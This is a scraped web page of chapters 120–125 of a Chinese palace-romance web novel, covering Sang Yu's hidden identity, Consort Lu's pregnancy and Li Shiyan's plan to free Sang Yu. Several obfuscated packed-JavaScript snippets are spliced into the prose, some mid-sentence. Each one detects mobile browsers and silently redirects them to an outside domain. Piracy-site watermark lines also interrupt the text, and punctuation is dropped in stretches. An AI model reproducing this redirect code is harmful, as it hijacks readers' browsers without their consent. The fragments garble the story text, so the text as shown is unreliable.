李识衍的瞳孔骤然紧缩,一股寒意从脊背窜上来:“你是说……你们故意让她忘了自己的身份? 沈康没有回答,但他的沉默已经是最好的答案。 竹林间的风忽然变得刺骨,李识衍的声音冷得可怕:“所以,她一直以为自己是孤儿?以为自己是你们的奴才?以为她活该被践踏、被伤害? 沈康的胸口剧烈起伏,他猛地抬头,眼中闪过一丝痛苦:“我没有选择! 他的声音陡然提高,像是要说服自己,“当年惠嫔本就不打算留她,她若始终记得自己的身份,只会死得更快! 这些事情,连祁蘅都不知道。 **,自己的母妃,其实就是害了桑余一家的罪魁祸首。 “那你呢?李识衍逼近一步,字字如刀,“你明明知道她是谁,却眼睁睁看着她被祁蘅折磨?看着她一次次受伤,一次次被践踏尊严? 沈康的呼吸一滞,像是被这句话狠狠刺中。 他的眼神闪烁,最终狼狈地别开脸,声音低得几乎听不见:“我……我试过带她走…… “然后呢? “……失败了。沈康的嗓音沙哑,“她那时候,对祁蘅情根深种。后来……后来她想走,可祁蘅愿放手了,他宁可毁了她,也不会让她离开。 李识衍的眼底翻涌着滔天的怒意,他几乎咬着牙才能忍住不落泪:“你口口声声说待她真心,可你和皇上一样,都在骗她! 沈康的身体猛地一颤,像是被这句话抽走了所有力气。 “……你说得对。他低声道,声音里满是自嘲和悔恨,“我这一生,最对不起的人就是她。 竹林间陷入死寂,只有风吹过竹叶的沙沙声,像是无声的叹息。 李识衍冷眼看着他,语气讽刺:“我再问你,惠嫔为何会收养她?真的只是……机缘巧合么? 第121章 一个偌大的骗局 沈康的瞳孔剧烈收缩,手指不受控制地颤抖起来。 竹叶沙沙作响,仿佛在嘲笑他自以为是的隐瞒。 “你……连这个都查到了?” 李识衍的眼中寒芒更甚:“惠嫔与沈将军的恩怨,你以为能瞒过摘星楼的眼睛?” 他向前逼近一步,“当年惠嫔在北狄被俘,是沈将军亲手将她押解回京。她恨他,却又……” “又爱上了他。”沈康苦笑接话,眼神逐渐涣散,“惠嫔娘娘每次醉酒,都会对着桑余的脸出神。我那时不明白,是很久以后才懂……” 夜风骤起,吹乱了李识衍的衣袍。 他的声音比夜风更冷:“所以惠嫔煽动兵变,害**沈将军,又对无辜的稚子下手?” 沈康的指甲深深掐进掌心,回忆起那些不愿意回忆的事情,只觉得痛彻心扉? “惠嫔娘娘最初确实想杀她,但看到那张脸就心软了。那孩子……太像她父亲了。” “惠嫔娘娘不愿做先帝的妃子,只想要逃回北狄,便想方设法煽动兵变,却没想到害**负责**的沈重将军。后来,她得知他有一个孩子。惠嫔心中无法就此放下,便想杀了那个孩子,于是找人拐走了她。可这个孩子眉眼和他太像,她最终没忍心动手,便……将她丢到城门下自生自灭,只是偶尔会去看一眼她,却没想到她没死,那孩子借着沈重将军教过她的简单招式,顽强的活下来了。” 那时的沈康也只是个半大的孩子。 在看到桑余顽强坚韧的活下来时,他的的确确的被震撼到了。 可他什么也做不了。 沈康痛苦地闭上眼:“惠嫔……一直在挣扎。对她而言,她无法接受自己爱的人与她人生下的孩子苟活。” “那日,惠嫔准备了一碟桂花糕,里面都放了毒,便丢进了乞丐堆里。看着她抢到,等她毒发。却没想到……祁蘅会上前打掉了桂花糕,” 沈康也说不清道不明,到底是祁蘅救了她,还是害了她。 “祁蘅一定要把桑余领回宫中。惠嫔想可能是冥冥中注定,便将其带回去,做祁蘅的奴婢,趁机抹除她的记忆,让她当一个无牵无挂的死侍,一辈子保护自己的孩子,也算是弥补她父亲对自己所做的亏欠。” 故事听完了, 李识衍讽刺的嗤笑一声声音里带着刻骨的恨意。 “好一个冥冥中注定让阿星当她儿子的死士心甘情愿的给他人卖命日日受他人践踏这就是她的心软?” 沈康颤抖着喉咙发不出声音月光下他的脸色惨白如纸。 他也是帮凶。 明明曾经有无数次机会可以说出口可他还是没有。 是不敢也是不能。 沈康没办法想象桑余知道真相后的奔溃。 她唯一的信念会崩塌。 她该怎么接受她一直当成恩人的惠嫔是害死自己父亲的罪魁祸首。 而她的师父更是旁观的帮凶让她怎么能接受? 后来祁蘅用药企图控制桑余的记忆时沈康宁愿以身犯险也要帮她找回解药就是不想看这种事情在桑余身上……再重现第二次。 可笑的是祁蘅根本不知道这些。 他始终以为是自己在高高在上的拯救一个可怜的孤女。 却不知他早就是母亲报复爱而不得之人的帮凶罢了。 竹叶纷飞中沈康的防线彻底崩溃。 他跪倒在地声音支离破碎:“我只能……只能教她武功至少让她有自保之力……” 可是武功最后还是废了。 李识衍居高临下地看着他眼中翻涌着森森寒意:“你教她**技让她为仇人之子卖命这就是你的保护?” 沈康的膝盖重重砸下去发出沉闷的声响:“我没资格求得原谅。” “你当然没资格。”李识衍的声音冷得像淬了冰毫不留情:“你们这些人这些皇宫的人都是一样的互相袒护惺惺作态一个比一个虚伪!” 他俯身揪住沈康的衣领字字诛心:“惠嫔用仇恨折磨她祁蘅用感情囚禁她而你用所谓的保护欺骗她!你们有什么区别?” 沈康眼中的光一点点熄灭李识衍说的没错。 他和祁蘅其实没什么区别。 “但我不杀你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799177|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 李识衍松开他看着沈康狼狈地跌坐在地“不是因为你值得宽恕 说的域名caixs?(请来才小 说 看最新章节 完整章节)而是因为阿星不想你死。" 他目光一点点变远声音忽然轻了下来:“新岁时她曾剪过一张小像是你的样子你** ,她会难过。 沈康听完这一切后,早已经是支离破碎。 许久过后,他才开口,声音嘶哑得不成样子:“你打算怎么办? 李识衍的目光穿过竹林,望向遥远的方向。 月光在他眼中凝结成冰,又在那冰层之下,涌动着足以焚毁一切的火。 “不管付出什么代价。他一字一顿地说,每个字都像是从齿间碾碎后吐出来的,“我都会带她离开。 带她回真正的家。 回一个,人人都真心待她,不会欺骗她,欺辱她的家。 —— 祁蘅在夜里惊醒,一身冷汗淋漓。 他突然梦到母妃了。 母妃说:“终归我们母子是一样的人,对心爱的人,也是一样。 他不明所以,再睁开眼,梦就戛然而止。 祁蘅随意拢了一件衣服,打开门,惊醒了守夜的赵德全。 赵德全急忙跟上,问祁蘅:“陛下有什么吩咐? 祁蘅没说话,只是往远处走。 那是紫宸殿的方向。 赵德全一怔,颤颤巍巍的提醒道:“陛下,如今紫宸殿已经空了。 祁蘅的步子蓦然停住。 他又忘了。 桑余已经回清梧院好几日了。 赵德全小心的揣测道:“陛下,不如老奴去打探一番桑宝林,她若是知错,便叫人将其迁回来? 祁蘅不等他说完就打断了。 “不必。 “她不会知错的,朕给了她那么多次机会,她还是故意气我,这一次,朕不会再心软。 马上就习惯了。 总有一夜醒来,是不想着她的。 第122章 陆淮安我亲** 翌日清晨,薄雾笼罩着皇宫的琉璃瓦,将朱红宫墙晕染成朦胧的粉色。 太医刚走。 陆晚宁站在窗前,手指轻轻抚过尚未显怀的小腹,嘴角噙着一抹志在必得的笑意。 “快去请陛下来。”她转头对贴身青黛道,“就说本宫有要事相商。” 青黛领命而去。 这些时日祁蘅很少外出理政,多半时间都在乾清宫。 听到是陆晚宁相见自己,祁蘅并没有什么反应,并不想去。 可在乾清宫里闷了好几日,他也觉得该出去了走走了。 —— “娘娘,陛下到了。”青黛匆匆进来禀报。 陆晚宁迅速整理衣襟,脸上已换上一副温婉恭顺的表情。 她缓步走向正殿,看见祁蘅正背对着她站在窗前,玄色龙袍衬得他身形挺拔如松。 “臣妾参见陛下。”她盈盈下拜。 祁蘅转过身来,眼下有明显的青黑,显然一夜未眠。 “免礼吧,”他声音冷淡,“有什么事?” “陛下,您都好几日不来长乐宫看臣妾了,一来就对臣妾这样冷淡……” 祁蘅打断她:“朕还有公务,你若是有事就快说。” 陆晚宁面色一僵,暗示道:“前几日,齐嫔娘娘给我送了一副百子千孙图的玉雕,没想到这么快就灵验了。” 祁蘅没听太明白,他忽然想到,沿长乐宫往东,就是清梧院了吧。 他想起,自己已经有快十日没见她了。 祁蘅很想见她。 想告诉她,我想你,我昨夜又梦到了你。 但是,她不会想听,她那么讨厌自己。 既然讨厌,就讨厌到底,把他恨之入骨,恨就是还有爱。 陆晚宁见祁蘅一副心不在焉的样子,神色委屈起来,她示意宫女退下,附道祁蘅耳边轻声说:“陛下,臣妾有喜了。” 殿内霎时安静得落针可闻。 祁蘅的表情凝固了一瞬,眼中闪过一丝难以捕捉的复杂情绪。 他下意识皱起了眉,怔忡了许久。 “是么?”他问,声音有些干涩。 “太医说,得陛下庇佑,胎像很是平稳。”陆晚宁观察着祁蘅的反应,见他并 无喜色心中微沉却仍保持着得体的微笑“陛下这是不高兴?” 祁蘅沉默片刻忽然觉得胸口发闷。 “高兴。” 陆晚宁怀了他的龙嗣。 他的第一个孩子终究不是与桑余所生。 那个曾经在紫宸殿与他共枕而眠如今却倔强地不肯低头的桑余再一次离他越来越远了。 “朕高兴。”祁蘅话虽如此说可声音平静得近乎冷漠“朕会命人准备赏赐。你好好养胎 陆晚宁眼中闪过一丝失望却仍恭敬道:“谢陛下恩典。” 祁蘅往外走脚步却一阵发软。 赵德全见他面色不好忙上前伺候却被他抬手推开。 “只是这几日没歇好无碍。” 赵德全又问:“陆贵妃喜得龙嗣之事可否登记入册?” 祁蘅正要抬手否决但忽然想到了什么。 如果桑余知道她那一次将自己送给陆晚宁就让她怀上了龙嗣会不会后悔? “这是朕第一次个孩子必定要让阖宫上下都知晓让那些不知趣儿的人都看清楚朕还要大赏陆贵妃明白了么?” 赵德全隐隐察觉陛下这话说出来倒不是奔着赏陆贵妃去的。 更像是……奔着那些“不知趣儿”的人去的。 —— 朝堂上陆淮安站在文官末尾但眼角眉梢都透着喜气。 虽然祁蘅尚未正式宣布陆晚宁有孕的消息但朝中大臣们早已得知此事纷纷向他道贺。 “恭喜陆大人若陆贵妃诞下皇子这后位……” “慎言。”陆淮安故作严肃地打断同僚的话眼中却掩不住得意“陛下尚未立后此事还不可妄议。” 兵部侍郎赵明德压低声音道眼中闪烁着幸灾乐祸的光芒:“听说那位妖妃终于被贬陆贵妃这就得了皇子可见那妖妃果真邪门。” 陆淮安的笑容僵在脸上手中的**笏板不自觉地攥紧。 他眼前忽然闪过桑余那双清冷的眼睛。 那个傻子怎么又被贬了? 真是蠢笨愚钝。 “陆大人?”赵明德见他出神疑惑地唤了一声。 陆淮安猛地
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799178|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回神,勉强扯出一个笑容:“赵大人慎言,她毕竟也是陛下曾经宠爱过的人。 —— 散朝后,陆淮安没有直接回府,而是去了摘星楼。 这座长安城里最高的酒楼能俯瞰整个京城,他习惯性地要了临窗的雅间,点了一壶最烈的烧刀子。 三杯下肚,陆淮安的眼神已经有些涣散。 “陆兄今日怎么独自喝闷酒?周子陵推门而入,见他这副模样不禁皱眉。 陆淮安醉醺醺地给周子陵也倒了一杯:“我妹妹诊出龙嗣,该庆祝才是。 周子陵与他碰杯,却敏锐地察觉到不对劲:“可你……看起来并不高兴? “高兴?我当然高兴。陆淮安猛地灌下一杯酒,辛辣的液体灼烧着喉咙, “一个我厌恶的蠢女人被贬了,我妹妹又怀了龙嗣,陆家马上就要出一位皇后了,我有什么不高兴的? 他说着说着,声音却低了下来,手指无意识地在酒杯边缘摩挲:“可是子陵,你说……如果桑余最后彻底被废,如果没有人要她了…… 周子陵警觉地看了眼四周,压低声音:“你喝多了。 那可是圣上的妃嫔。 就算被废了,没有他的口谕,谁敢招惹? 陆淮安却像是打开了闸门,继续道:“我可以收留她。毕竟……毕竟当年是我骗她出宫,害她差点送命……就当是弥补她…… 隔壁雅间,李识衍手中的酒杯“咔嚓一声碎裂。 瓷片扎进掌心,鲜血混着酒液滴落在桌面上,他却浑然不觉。 那双总是含笑的桃花眼此刻冷得像淬了冰,死死盯着隔开两个雅间的屏风。 “陆淮安……他无声地念着这个名字,眼中寒意砭骨。 周子陵察觉到失言,连忙搀扶起醉醺醺的陆淮安:“陆兄,你醉了,我送你回府。 说的域名caixs.com⒃(请来才小 说 看最新章节 完整章节) 待两人离开后,李识衍才从阴影中走出。 “公子,要动手吗?暗处,宋元低声询问。 李识衍轻轻摇头:“不急。李识衍将手的碎杯丢开,缓缓说:“他,我亲**。 第123章 我们在哪里见过? 在救出桑余前,李识衍不打算让长安城乱起来。 他不做添乱的事,也不会给桑余找麻烦。 但这个人的命,他一定会要。 若有必要,他会让桑余亲自动手。 —— 半个多月过去了,自从回了清梧院,桑余每日都过得很清净。 祁蘅没有再来烦她,宫里的人又都在观望,所以也没有太多是非之人来寻衅滋事。 更不用再担心要给祁蘅生孩子。 最可喜可贺的是,陆晚宁也有了身孕。 祁蘅有了自己的孩子,大抵也会真正意识到谁是他最在意的人,慢慢的把自己给彻底忘了。 相比在宫中孤苦老死——给祁蘅生个孩子再与自己一起老死才是更可怕的。 偌大的深宫,唯一日日念着她过得开不开心的,便就只有祁翎了。 这日祁翎又来找桑余,非说带她出去看好看的,要拉着她去自己的宫殿。 桑余本不想去,但架不住小家伙软磨硬泡,只得跟着一起去了。 祁翎的宫殿离得远,至少要过了御书房和尚书阁。 桑余走着走着力不从心,也不知这小孩子整日是哪里来的那么多精力每天往返两次。 总算是到了地方,祁翎神秘兮兮的不说话,拉着桑余往正殿而去。 殿内熏香袅袅,桑余有些艰难的喘着气,目光正扫过四周陈设,忽然怔住。 原来,屋里还有一人。 是个男子,站在桌前正在写字,一身靛青色长衫,整个人如松竹般挺拔清雅。 听到脚步声,李识衍抬起眼睛。 看到桑余的那一刻,他只是缓缓的眨了眨眼睛。 因为一切有些不真实。 上次见她是在摘星楼,夜色昏暗,他看不清,只是依稀怀疑她是阿星。 时隔半年,他再见到她。 更加确定。 “这位是李识衍,我的夫子!”祁翎骄傲地介绍道,小手拽了拽桑余的衣袖,“皇嫂,李夫子可厉害了,什么都知道!” 李识衍把情绪藏的深,桑余倒是未察觉异常,微微福身行礼:“见过李大人。” 她垂眸的瞬间,错过了李识衍眼中翻涌的情绪。 那双 眼尾微挑的凤眸里,震惊、怀念与痛楚交织,几乎要冲破他素日沉稳的表象。 他喉结滚动,宽袖中的手指无意识地蜷缩又松开。 “娘娘多礼了。”李识衍声音微哑,还礼时指尖几不可察地颤抖。 祁翎已经迫不及待地跑到书案前,抱起一摞画本子:“桑娘娘快来看!这些都是夫子帮我找的画本子,可有意思了!” 桑余刚迈步,祁翎怀中的画本就哗啦啦散落一地。 小家伙“哎呀”一声,手忙脚乱地去接,却让更多画本滑落。 “小心。” 桑余快步上前蹲下,与同样俯身的李识衍一起去捡那些书。 桑余想说祁翎做事太过急躁,可不经意抬头,却对上李识衍凝视的目光。 那双眼睛幽深如古井,却仿佛藏着惊涛骇浪。 她心头莫名一颤,迅速移开视线。 她对祁翎说:“小王爷,再过一月你就七岁了,却整日这么马虎莽撞……” “哎哟!”祁翎不想听,于是突然捂住肚子,打断了桑余:“皇嫂,我、我肚子疼!” 桑余立刻紧张起来:“怎么了?可是吃坏了东西?” 祁翎小脸皱成一团:“我要去如厕!”说完就往外跑。 桑余没看见,祁翎临到门口却回头冲李识衍眨了眨眼,随之才一溜烟跑掉。 殿内霎时安静下来,只剩下两人整理画本的窸窣声。 李识衍终于能这么近的看她。 她很瘦,掌心上都是细碎的伤口,身上应该会更多,一定很疼很疼。 桑余的耳洞有些不同,右耳要比左耳松一些。李识衍知道原因,是沈星幼时第一次打了耳洞,没照料好长住了,沈夫人便又帮她刺开了第二次。那是记忆里,沈星哭的最厉害的一次,仅次于沈将军传来死讯那日。 桑余抱了半怀的书,起身放在了桌子上整理,想尽快去看看祁翎有没有事。 李识衍却突然开口对她说:“桑娘娘,很像微臣的妹妹。” 桑余手上动作不停,神色冷淡:“是么?” “她叫沈星。”李识衍继续道,将怀里的画本子也放在了桌子上,看向桑余,说道:“从小就喜欢舞刀弄枪,偏不爱女工书画。” 桑余指 尖微顿,又若无其事地继续整理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799179|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “可她却给我绣过一个荷包,把自己的名字绣在了上面。虽是针脚粗陋,却是我最珍视的物件。” 桑余终于抬眼看他,眼中满是警惕:“李大人为何同我说这些?” 在桑余眼里,所有人都可能是第二个陆淮安。 她不会再轻易相信。 李识衍没有立即回答,而是从袖中取出一物,缓缓展开在掌心。 桑余浑身血液仿佛瞬间凝固。 是沈康的小像。 “我师父的东西怎么会在你这里?” 桑余声音陡然拔高,手指不自觉地攥紧了衣角。 李识衍看见她对自己眼中满是防备,心口微微渗出苦涩。 以前的阿星那么好哄,如今却对任何事都畏惧警惕,是经历了什么? “你别怕,我并不是想……” “回答我的问题!”桑余几乎是咬着牙说出这句话,胸口剧烈起伏。 她同祁蘅周旋那么久,终于送走了沈康。 这个人,又想做什么? 李识衍有些错愕,阿星如今这么害怕他…… 他的手抖得厉害,他的心也快痛**。 李识衍缓缓开口,尽量想要安抚她:“是沈康怕你不信我,才把这个东西交给我。” “他人呢?” “他很好,我知你不想让他死,所以不会动他半分。你放心,我不会骗你,你不了解我,还不了解沈康么?他若不是自愿,这东西怎么会到我的手上?” 桑余不知能不能信他,她觉得这个人太奇怪了。 他不似陆淮安那般虚伪妖孽,又不似祁蘅那样偏执暴戾。 他就只是,这样悲悯的看着自己。 眼尾泛着红,眸中翻涌的情绪太过复杂,桑余甚至从中读出了一丝近乎绝望的期盼。 “我们……”桑余缓缓张口,小心试探:“是不是在哪里见过?” 李识衍眉眼顿时涌上欣慰喜悦,他小心翼翼:“你想起来了?” 桑余凝眉,将记忆里为数不多见过的人翻了个遍,终于问道:“你是,摘星楼的少东家?” 李识衍的欣喜骤然破碎,眼中闪过一丝失落。 桑余终于想起来了。 是他,新岁时就是他帮自己把师父的小像挂在了柳树的最高处。 第124章 我要带你一起走 桑余眼中仍是警惕,她看着面前的人,竟然从他眼中,看出一丝难过。 “沈康他现在在哪里?” 李识衍向前一步,却又在看到桑余后退时猛的停下。 他知道,桑余不会轻易的信任别人,所以不能吓到她。 “放心,他已被我安置妥当。还有,沈康决定不去北狄了,要留下……帮你离开皇宫。” 桑余瞳孔猛地收缩,像是被烫到一般。 她彷徨的垂下眼,像是想起了什么讳莫如深的事情。 “每一次我想逃出去,就会有人受到牵连死去。” 桑余的声音越来越低,脑子里闪过从她第一次出逃到如今,所有因为她而死去的人的脸。 “我不想再害别人了。或许上天注定,我这样的人,就命中注定该是在宫中蹉跎一生,反正,宫外也没有什么人等着我……” “不是的!”李识衍突然提高声音,极力克制着自己眼的殷切:“桑余,不是的。你不属于这里,宫外有人等你,你也有自己的亲人,有自己的家,我就是来带你回家的。” 亲人? 家? 桑余喃喃重复着这两个词。 这些字眼对她而言太过陌生。 从她有记忆以来,她就只是孤苦无依的一个人。 她迷茫地看向李识衍,迫不及待的想知道他这句话到底是什么意思。 “阿星……”李识衍刚要开口,殿外突然传来急促的脚步声。 “皇嫂!夫子!”祁翎气喘吁吁地冲进来,小脸煞白,“皇兄来了!他、他往这边来了!” 桑余浑身一僵,手指下意识攥紧了衣角。 李识衍迅速将沈康的小像收回袖中,脸上的柔情瞬间收敛,恢复了那副沉稳内敛的模样。 —— 殿外已能听到侍卫的脚步声和祁蘅低沉的说话声。 祁蘅高大的身影出现在殿门口,阴影几乎笼罩了半个房间。 李识衍抬头状若意外,急忙放下笔恭敬行礼:“微臣参见陛下。” 祁翎也放下书,起身,双手作揖:“皇兄。” 祁蘅看了一眼屋里,就只有他们二人。 “不必多礼。”祁蘅的声音听不出喜怒,他走上前,目光扫过 案上的画本:“祁翎近来学业如何?” “皇兄!”祁翎还是很怕皇兄的,半分也不敢逾越:“夫子还夸我进步很大呢!” 桑余躲在书架后面,心跳震如擂鼓。 祁蘅那样多疑的人,若是看到自己出现在这里,不知道又会动多大的怒,牵连多少人…… 而且沈康没有去北狄这件事,绝不能泄露。 透过书册的缝隙,她能清晰看到祁蘅的半明半暗的侧颜,他冷脸时身上的凛厉气息格外明显,叫人不敢多说一句话。 只是今日,多了几分苍白,像素冷色的白瓷。 “朕看过你的诗。”祁蘅的声音忽然响起,手指抚过案上李识衍方才书写的宣纸,“‘孤云出岫本无心,却为苍生化甘霖’,气度不凡。” 李识衍垂首:“陛下过誉,微臣愧不敢当。” 祁蘅将宣纸轻轻放回案上,忽然话锋一转:“只是,朕还听说,你本要去江南接任州府,为何突然决定留在京城,当一个小小的西席夫子?” 书架后的桑余呼吸一滞。 这个问题太过尖锐,她几乎能感受到祁蘅话语中暗藏的试探。 “回陛下,”李识衍声音平稳如常,“家母年迈,一人在京城无人照料。为人子者,实在不忍离家太远。” 祁蘅挑了挑眉,对这个回答似乎有几分意外。 他踱步到窗前,阳光将他高大的身影拉得更长,几乎笼罩了整个书房。 “你倒是孝心可嘉。”祁蘅凉薄的笑了笑,仿佛不甚在意:“但君子当有鸿鹄之志,莫要拘泥于眼前之人。朝堂如今正是用人之际,既然有这般才华,便该用在正处。” 李识衍躬身:“陛下教诲,微臣铭记于心。” 祁蘅转过身,慢条斯理的向前,他如今正想换了江南的那帮老臣。 出了后宫的祁蘅很是凌厉果决,深谙权衡之处,他曾经做皇子时便是这样,威逼利诱,才拉拢了一半的势力入了他的阵营。 祁蘅提醒李识衍:“江南富庶之地,多少人求之不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799180|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得。” 他顿了顿,意味深长地补充道:“莫要辜负了……大好前程。” 李识衍的声音依然恭敬:“微臣明白。” “明白就好。”祁蘅微微颌首,看了一眼一旁不 敢说话的祁翎。 他有这么可怕么? 桑余怕他,弟弟也怕他。 他这时候,不什么都没做么? 祁蘅顿了顿,对祁蘅扬起一个微弱的笑。 可祁翎似乎更怕了,瑟缩了一下肩膀。 祁蘅笑容淡去,觉得真没什么意思,他总是这样,不管是对谁,给出去的微弱好意却得不到同样的馈回。 太医说祁蘅这几日气血微亏,吃也吃不下,他做什么都觉得乏味,便准备离开。 桑余看到他转身,终于松了口气。 可下一刻,走到门口的祁蘅忽然停下脚步,目光直直望向书架方向。 桑余浑身血液仿佛瞬间凝固,她死死的定在那里,一动不敢动。 “这桌上堆了这么多书,”祁蘅的声音响起,“怎么不规整在书架上?” 祁翎立刻上前认错:“皇兄恕罪!这是……这是臣弟偷偷让嬷嬷从宫外带的画本子,还没来得及收拾……” 祁蘅无奈地看了幼弟一眼,却出乎意料地没有斥责。 他伸手揉了揉祁翎的发顶:“贪玩可以,课业不可荒废。” 说完,他最后扫视了一圈书房,玄色衣袍翻卷间,大步离去。 侍卫的脚步声渐行渐远,直到完全消失,殿内紧绷的气氛才稍稍缓解。 桑余双腿发软,几乎站不稳。 她扶着书架缓缓从后面出来,这才发现后背的衣衫已被冷汗浸透。 “皇嫂!”祁翎小跑过来,满脸担忧,“你没事吧?” 桑余摇摇头,却说不出话来。 她的目光越过祁翎,与站在原地的李识衍四目相对。 阳光透过窗棂,在他清俊的侧脸投下斑驳的光影,那双凤眸深处似有寒星闪烁。 “陛下想让我去江南。”李识衍低声道,声音里是掩不住的冷意:“可我不能走,我要带你一起走。” 第125章 让他主动放你离开 “我要带你一起走。” 李识衍的声音很轻,却像一块石头投入桑余死水般的心湖。 她怔怔地望着眼前这个只见过两次的男子,震惊他为什么会这么笃定可以带她走? 是师父叫他来帮自己的? 可这个人对自己,似乎不止是浅显的相助。 “你知道这不可能的。”桑余摇头,声音果决,“他是皇帝,他不点头,我走不了。” “桑余。”李识衍压低声音,露出一个安抚般的轻笑:“我知道你担心什么,所有的事情你都不用管。 “我会让他主动放你离开。” 他微微倾身,目光灼灼地望进桑余的眼底,斯文中难掩冷冽。 “你为什么一定要帮我?”桑余终于问出这个盘旋在心头许久的问题,“我们……在摘星楼之前就认识吗?” 李识衍的喉结滚动了一下,眼中情绪翻涌。 半晌,他略带苦涩的笑了笑,低头避开了桑余的视线。 这个时候让她知道太多,只是徒增烦恼。 让她知道,所有人都在骗她,连她敬爱的师父也是,她一直为之效忠的人是沈家罪魁祸首的儿子,她会疯掉的。 “娘娘多虑了。我们……摘星楼是第一次见。我听小王爷说,当初我入宫,是因为得了娘娘的青睐,如今算是报答娘娘的知遇之恩罢了。” 桑余微微皱眉,她觉得这个理由十分牵强。 但李识衍若是不打算告诉自己,就算追问下去也没用。 桑余收敛情绪,勉强扯出一个笑容:“没什么,因为夫子作的诗,的确很好。” 李识衍垂眸,克制住了眼底的情绪,对祁翎说:“小王爷,今日的课就到这里。娘娘受了惊吓,你送她回清梧院可好?” 祁翎虽看了看桑余苍白的脸色,乖巧地点头:“好,皇嫂是要好好休息,那夫子我们先走了。” 走出殿门时,桑余不自觉地回头看了一眼。 阳光透过窗棂,将李识衍的身影拉得很长,他站在那里,也看着自己,坚定又沉默。 —— 凤仪宫。 突然传来一阵瓷器碎裂的声音。 “滚!都给我滚出去!”陆晚宁将桌上的茶盏扫落在地,脸色铁青 。 她怀孕两个月了却什么都吃不下整日烦躁不安。 而且这两个月祁蘅只来看过她一次。 倒是的确不宠爱桑余了把她丢的远远的可其他人的宫里祁蘅也去了三四次。 难不保会不会再冒出来一个怀龙嗣的。 宫女们战战兢兢地退到门外只有青黛大着胆子上前:“娘娘您多少用些点心……” “这点心甜得发腻怎么吃!”陆晚宁捂着胸口又是一阵干呕。 她烦躁地扯着衣领忽然闻到一阵诱人的香气。 “这是什么味道?”她抬起头鼻翼微动。 青黛连忙回答:“回娘娘新来的宫女红菱方才她见娘娘吃不下便说要亲自为娘娘解馋。听说她手艺极好连尚食局的嬷嬷都夸赞看来名不虚传。” 陆晚宁眯起眼睛:“叫她过来。” 不一会儿一个身着淡粉色宫装的少女低头走了进来。 她约莫十六七岁容貌不算出众却有一双灵动的眼睛后宫的嫔妃最偏爱这样不漂亮却聪明的婢女。 “奴婢红菱 陆晚宁打量着她:“这点心是你做的?” 红菱声音轻柔答道:“回娘娘是奴婢家乡的小食开胃健脾最适合孕中食用。” 陆晚宁尝了一口眼睛一亮。 这点心酸甜适中真意外地合她胃口。 “你倒是个伶俐的。”陆晚宁心情稍霁“从今日起你就做我的贴身宫女专门伺候我的饮食。” 红菱急忙跪下谢恩眼中闪过一丝精光。 再抬头红菱便状似无意地说道:“娘娘气色不佳可是有什么烦心事?奴婢虽愚钝却愿为娘娘分忧。” 陆晚宁冷笑一声:“你能分什么忧?” 红菱压低声音:“奴婢听……陛下已经许久没来长乐宫了。” 这句话戳中了陆晚宁的痛处。 她脸色一变正要发作却听红菱继续说道:“奴婢有个法子或许能让陛下对娘娘念念不忘……” 陆晚宁眯起眼睛:“哦?说来听听。” 红菱凑近她耳边轻声说了几句。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799181|175043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆晚宁的表情微微露出嫌恶:“本宫才不屑学这些矫揉做作的把戏陛下一开始喜欢我也是因为矜贵冷艳……” “可娘娘难道不想让陛下对娘娘也念念不忘?” 陆晚宁微微犹豫。 顿了顿她终于下定了决心。 “好就按你说的办。” 她抚摸着尚未显怀的腹部眼中闪过一丝狠厉“我倒要看看这些**还能得意多久。” “后宫之主一定是我陆晚宁的。” —— 